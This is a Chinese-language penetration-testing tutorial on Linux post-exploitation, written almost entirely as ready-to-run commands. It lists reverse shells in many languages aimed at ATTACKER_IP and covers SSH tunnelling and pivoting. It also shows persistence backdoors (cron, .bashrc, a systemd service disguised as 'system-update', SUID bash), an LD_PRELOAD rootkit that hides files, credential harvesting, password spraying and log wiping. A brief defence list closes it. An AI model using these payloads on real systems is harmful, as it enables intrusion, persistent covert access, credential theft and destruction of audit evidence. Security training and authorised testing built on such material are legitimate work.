当渗透测试人员成功获取目标系统的访问权限后,工作并没有结束。后渗透(Post-Exploitation)阶段的目标是维持访问、深入探索内网、收集敏感数据、并建立持久化后门。本文将系统地讲解反弹 Shell 的各种技术、Shell 升级方法、SSH 隧道搭建、持久化手段、痕迹清理等后渗透关键技术,这些都是渗透测试报告中需要覆盖的重要内容。
反弹 Shell 技术大全
反弹 Shell(Reverse Shell)是渗透测试中最基本的技术之一。目标机器主动连接攻击者的监听端口,绕过防火墙的入站限制。
攻击端监听设置
在发送任何反弹 Shell 之前,需要先在攻击机上设置监听:
# 使用 Netcat 监听
nc -lvnp 4444
# 使用 rlwrap 增强 Netcat(提供命令行编辑和历史功能)
rlwrap nc -lvnp 4444
# 使用 socat 监听(支持更稳定的连接)
socat file:`tty`,raw,echo=0 tcp-listen:4444
# 使用 Metasploit multi/handler
msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload linux/x64/shell_reverse_tcp
msf6 exploit(handler) > set LHOST 0.0.0.0
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit
Bash 反弹 Shell
# 标准 Bash 反弹 Shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# 使用 exec 方式
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
# 0<&196 方式
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196
# 使用 /dev/udp(UDP 反弹 Shell)
bash -i >& /dev/udp/ATTACKER_IP/4444 0>&1
Python 反弹 Shell
# Python 3 反弹 Shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Python 2 版本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# 命令行直接使用
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Netcat 反弹 Shell
# 标准 Netcat(带 -e 参数)
nc -e /bin/bash ATTACKER_IP 4444
# 某些版本的 Netcat 不支持 -e,使用命名管道代替
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
# 使用 ncat(Nmap 的 Netcat)
ncat ATTACKER_IP 4444 -e /bin/bash
# Netcat OpenBSD 版本(无 -e)
nc ATTACKER_IP 4444 -c /bin/bash
PHP 反弹 Shell
# PHP 命令行反弹 Shell
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PHP 完整反弹 Shell(适用于 Web Shell 场景)
php -r '$sock=fsockopen("ATTACKER_IP",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'
Perl 反弹 Shell
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby 反弹 Shell
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
其他反弹 Shell
# Socat 反弹 Shell(更稳定)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
# OpenSSL 加密反弹 Shell
# 攻击端生成证书并监听
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
# 目标端连接
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:4444 > /tmp/s; rm /tmp/s
# PowerShell 反弹 Shell(如果目标安装了 PowerShell Core)
pwsh -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# xterm 反弹
xterm -display ATTACKER_IP:0
# 攻击端需要运行 Xnest :0 或 xhost +target_ip
Shell 升级技术
通过反弹 Shell 获得的通常是一个非交互式的简陋 Shell,无法使用 Tab 补全、方向键、Ctrl+C 等。需要进行 Shell 升级。
Python PTY 升级
# 步骤 1: 在反弹 Shell 中生成 PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 步骤 2: 按 Ctrl+Z 将 Shell 放到后台
# 步骤 3: 在攻击机本地执行
stty raw -echo; fg
# 步骤 4: 回到反弹 Shell 后设置终端
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 40 columns 160
# 现在你拥有了一个完全交互式的 Shell
# 支持 Tab 补全、方向键、Ctrl+C 等
使用 script 命令升级
# 如果目标没有 Python
script /dev/null -c /bin/bash
# 然后同样执行 Ctrl+Z 和 stty raw -echo; fg
使用 socat 升级
# 攻击端监听(完全交互式)
socat file:`tty`,raw,echo=0 tcp-listen:4444
# 目标端连接
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
SSH 隧道技术
SSH 隧道是后渗透中最重要的网络技术之一,可以用来访问内网资源、绕过防火墙、建立代理通道。
本地端口转发(Local Port Forwarding)
将攻击机本地端口的流量转发到目标内网中的某个服务。
# 语法: ssh -L 本地端口:目标地址:目标端口 跳板机用户@跳板机地址
# 场景:通过跳板机访问内网的 Web 服务
# 内网 Web 服务地址:10.10.10.20:80
# 跳板机地址:192.168.1.100
ssh -L 8080:10.10.10.20:80 user@192.168.1.100
# 现在访问本地 http://localhost:8080 即可访问内网 Web 服务
# 访问内网的 RDP 服务
ssh -L 3389:10.10.10.30:3389 user@192.168.1.100
# 使用 rdesktop localhost 连接
# 访问内网的数据库
ssh -L 3306:10.10.10.40:3306 user@192.168.1.100
# mysql -h 127.0.0.1 -P 3306 -u root -p
# 后台运行隧道(-f 后台, -N 不执行命令)
ssh -f -N -L 8080:10.10.10.20:80 user@192.168.1.100
远程端口转发(Remote Port Forwarding)
将目标机器上的端口转发到攻击机,适用于目标机器无法被直接访问的场景。
# 语法: ssh -R 远程端口:目标地址:目标端口 攻击机用户@攻击机地址
# 场景:将目标内网服务暴露给攻击机
# 在目标机器上执行
ssh -R 8080:127.0.0.1:80 attacker@ATTACKER_IP
# 攻击机现在可以通过 localhost:8080 访问目标的 80 端口
# 将内网中另一台机器的服务转发出来
ssh -R 9090:10.10.10.50:8080 attacker@ATTACKER_IP
# 后台运行
ssh -f -N -R 8080:127.0.0.1:80 attacker@ATTACKER_IP
动态端口转发(SOCKS 代理)
创建一个 SOCKS 代理,可以访问目标内网的任意服务。
# 语法: ssh -D 本地端口 跳板机用户@跳板机地址
# 建立 SOCKS5 代理
ssh -D 1080 user@192.168.1.100
# 后台运行
ssh -f -N -D 1080 user@192.168.1.100
# 配置浏览器使用 SOCKS5 代理:127.0.0.1:1080
# 使用 proxychains 通过代理执行命令
# 配置 /etc/proxychains4.conf
# socks5 127.0.0.1 1080
# 通过代理扫描内网
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains curl http://10.10.10.20
proxychains ssh user@10.10.10.30
# 使用 chisel 作为替代(当 SSH 不可用时)
# 攻击端(服务端)
./chisel server -p 8000 --reverse
# 目标端(客户端)
./chisel client ATTACKER_IP:8000 R:socks
# 会在攻击端 1080 端口创建 SOCKS 代理
三层隧道嵌套
# 场景: 攻击机 -> 跳板机1 -> 跳板机2 -> 目标内网
# 第一层:连接跳板机1,建立SOCKS代理
ssh -D 1080 user1@192.168.1.100
# 第二层:通过代理连接跳板机2
proxychains ssh -D 1081 user2@10.10.10.20
# 通过双层代理访问深层内网
# proxychains 支持链式代理配置
持久化技术
持久化(Persistence)的目的是在目标系统重启或密码修改后仍然能够重新获取访问权限。
SSH 密钥植入
# 生成 SSH 密钥对(在攻击机上)
ssh-keygen -t rsa -b 4096 -f /tmp/backdoor_key -N ""
# 将公钥写入目标的 authorized_keys
# 在目标机器上执行
mkdir -p ~/.ssh
echo "ssh-rsa AAAA...(你的公钥内容)" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
# 攻击机使用私钥登录(无需密码)
ssh -i /tmp/backdoor_key user@192.168.1.100
# 更隐蔽:写入 root 的 authorized_keys
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
Cron 后门
# 方法一:用户级 cron 后门
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -
# 方法二:系统级 cron 后门
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /etc/crontab
# 方法三:定时检查并重建连接
cat > /tmp/.update.sh << 'EOF'
#!/bin/bash
if ! pgrep -f "ATTACKER_IP" > /dev/null; then
/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &
fi
EOF
chmod +x /tmp/.update.sh
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.update.sh") | crontab -
.bashrc / .profile 后门
# 当用户登录时自动执行
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrc
# 更隐蔽的方式
echo 'nohup bash -c "sleep 10 && bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> ~/.bashrc
# 写入 .profile(登录时执行)
echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> ~/.profile
systemd 服务后门
# 创建恶意 systemd 服务
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# 启用并启动服务
systemctl daemon-reload
systemctl enable system-update.service
systemctl start system-update.service
# 检查服务状态
systemctl status system-update.service
SUID 后门
# 复制 bash 并设置 SUID 位
cp /bin/bash /tmp/.hidden_bash
chmod u+s /tmp/.hidden_bash
# 以后使用
/tmp/.hidden_bash -p
# 获得 root shell
# 更隐蔽:放在不显眼的目录
cp /bin/bash /usr/local/share/.cache
chmod u+s /usr/local/share/.cache
Rootkit 概念
Rootkit 是一种隐藏攻击者存在和活动的恶意软件。它分为用户态和内核态两种类型。
用户态 Rootkit
用户态 Rootkit 通过替换系统命令或劫持库函数来隐藏恶意活动。
# LD_PRELOAD 劫持示例(概念演示)
# 编写恶意共享库,hook readdir 函数来隐藏特定文件
cat > /tmp/hide.c << 'EOF'
#define _GNU_SOURCE
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>
struct dirent *readdir(DIR *dirp) {
struct dirent *(*original_readdir)(DIR *);
original_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *entry;
while ((entry = original_readdir(dirp)) != NULL) {
// 隐藏以 .hidden_ 开头的文件
if (strncmp(entry->d_name, ".hidden_", 8) != 0) {
return entry;
}
}
return NULL;
}
EOF
gcc -shared -fPIC -o /tmp/hide.so /tmp/hide.c -ldl
# 设置 LD_PRELOAD(影响所有程序)
echo "/tmp/hide.so" >> /etc/ld.so.preload
# 此时 ls 等命令将看不到 .hidden_ 开头的文件
数据收集与横向移动
敏感数据收集
# 搜索密码和凭据文件
grep -rli "password" /etc/ /home/ /var/ 2>/dev/null
grep -rli "passwd" /etc/ /home/ 2>/dev/null
# 搜索 SSH 密钥
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
# 搜索数据库凭据
grep -rli "db_password\|DB_PASS\|mysql\|postgres" /var/www/ /etc/ /opt/ 2>/dev/null
# 搜索配置文件中的密码
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name ".env" 2>/dev/null | xargs grep -li "pass\|secret\|key\|token" 2>/dev/null
# 查看命令历史
cat ~/.bash_history
cat ~/.zsh_history
cat /home/*/.bash_history
# 查看最近修改的文件
find / -mtime -7 -type f 2>/dev/null | head -50
# 导出数据库
mysqldump -u root -p'password' --all-databases > /tmp/db_dump.sql
# 打包敏感数据
tar czf /tmp/loot.tar.gz /etc/shadow /etc/passwd /home/*/.ssh/ /var/www/ 2>/dev/null
横向移动
# 使用收集到的 SSH 密钥连接其他主机
ssh -i /home/user/.ssh/id_rsa user@10.10.10.20
# 使用收集到的密码尝试登录其他主机
hydra -l admin -p 'collected_password' ssh://10.10.10.20
# 批量密码喷洒
crackmapexec ssh 10.10.10.0/24 -u admin -p 'password123'
# 通过 SSH 代理转发
ssh -A user@10.10.10.20
# 在 10.10.10.20 上可以继续使用密钥认证访问其他主机
痕迹清理
在渗透测试完成后(仅限授权测试),需要清理留下的痕迹。
# 清除命令历史
history -c
echo "" > ~/.bash_history
rm -f ~/.bash_history
# 清除日志
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
echo "" > /var/log/apache2/access.log
echo "" > /var/log/apache2/error.log
# 清除 lastlog 和 wtmp
echo "" > /var/log/lastlog
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
# 修改文件时间戳
# 将文件时间戳改为与周围文件一致
touch -r /etc/hosts /tmp/backdoor_file
# 清除临时文件
rm -rf /tmp/exploit* /tmp/linpeas* /tmp/shell*
# 删除添加的用户
userdel -r hacker
# 移除 SSH 密钥
sed -i '/attacker_key/d' /root/.ssh/authorized_keys
# 移除 cron 后门
crontab -r
sed -i '/ATTACKER_IP/d' /etc/crontab
# 移除 systemd 后门
systemctl disable system-update.service
rm /etc/systemd/system/system-update.service
systemctl daemon-reload
防御建议
- 网络监控:部署 IDS/IPS 检测异常的出站连接和隧道流量
- 端口限制:使用防火墙严格限制出站连接,仅允许必要的端口和目标
- SSH 加固:禁用 SSH 端口转发(
AllowTcpForwarding no),限制 SSH 密钥 - 文件完整性监控:使用 AIDE/OSSEC 监控关键系统文件(
/etc/passwd、/etc/crontab、systemd 服务) - 日志集中管理:将日志发送到远程日志服务器(如 ELK/Splunk),防止本地日志被篡改
- 进程监控:监控异常进程和网络连接,使用 EDR 工具检测恶意行为
- 定期审计:定期检查 authorized_keys、crontab、systemd 服务、SUID 文件
- 最小权限:限制用户的 sudo 权限和文件访问权限
总结
本文全面讲解了 Linux 后渗透阶段的核心技术,包括各种反弹 Shell 方法(Bash、Python、Netcat、PHP、Perl、Ruby)、Shell 升级技术、SSH 隧道(本地转发、远程转发、动态代理)、持久化手段(SSH 密钥、Cron 后门、systemd 服务、SUID 后门)以及痕迹清理方法。后渗透是渗透测试中技术含量最高的阶段,需要扎实的系统知识和丰富的实战经验。在合法的渗透测试中,这些技术帮助我们验证安全防护体系的有效性;在防御方面,理解这些攻击手段是构建纵深防御体系的基础。下一篇文章我们将深入学习 Metasploit 框架的完整实战流程。